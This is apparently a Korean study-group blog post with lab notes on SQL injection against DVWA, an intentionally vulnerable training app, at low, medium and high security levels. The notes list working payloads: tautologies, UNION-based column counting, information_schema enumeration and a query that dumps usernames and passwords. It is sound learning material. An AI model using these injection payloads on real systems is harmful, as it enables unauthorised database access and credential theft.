Tiny Bunny

동아리/팀 스터디

[9기 심화] 웹 취약점 분석 06

bento 2024. 3. 22. 22:08
DVWA 실습

 

SQL Injection

 

low

id를 넣으면

id, firtst name, surname을 출력해준다

 

사용자 입력 값 검증 없음

쿼리 함수가 실패하면 or die로 가서 오류 메세지를 출력

 

1’

→ SELECT first_name, last_name FROM users WHERE user_id = 'id’';

일부러 구문 오류 나게 유도

sql injection 가능성 높음 → 입력 값에 따라 쿼리가 달라졌기 때문에

 

1' or '1' = '1

→ SELECT first_name, last_name FROM users WHERE user_id = '1' or '1' = '1';

'1' = '1' 으로 항상 참 = 전체 결과 출력


union 활용

1' union select 1#

컬럼 수가 다르다

 

1' union select 1,2#

오류 없이 출력

 

1' union select 1,2,3# → 처음과 같은 오류 발생 = 칼럼 수는 2구나 . .

 

1' UNION SELECT schema_name,1 FROM information_schema.schemata#

information_schema에 데이터베이스 정보가 있고, 데이터베이스 이름은 schemata 테이블에 들어있음

칼럼 수를 맞춰주기 위해서 schema_name, 1

→ dvwa라는 데이터베이스 확인

 

1' UNION SELECT table_name,table_schema FROM information_schema.tables WHERE table_schema='dvwa'#

dvwa데이터베이스의 테이블을 조회

→ users 테이블 확인

 

1' UNION SELECT table_name, column_name FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users'#

users테이블의 칼럼 조회

→ password 궁금

 

1' UNION SELECT user,password FROM users#

user와 password를 조회

 

medium

사용자 입력 값을 제한하려는 모습

 

따옴표가 없음 = 숫자로

 

1 or 1=1

burp suite로 바꿔준다

 

 

high

새로운 창에서 받는다

 

 

출력 값을 1개로 제한하려고 하고 있다..

→ 뒷 부분 구문을 #으로 주석 처리

 

1' or '1'='1'#

→ SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1'# LIMIT 1;

 

728x90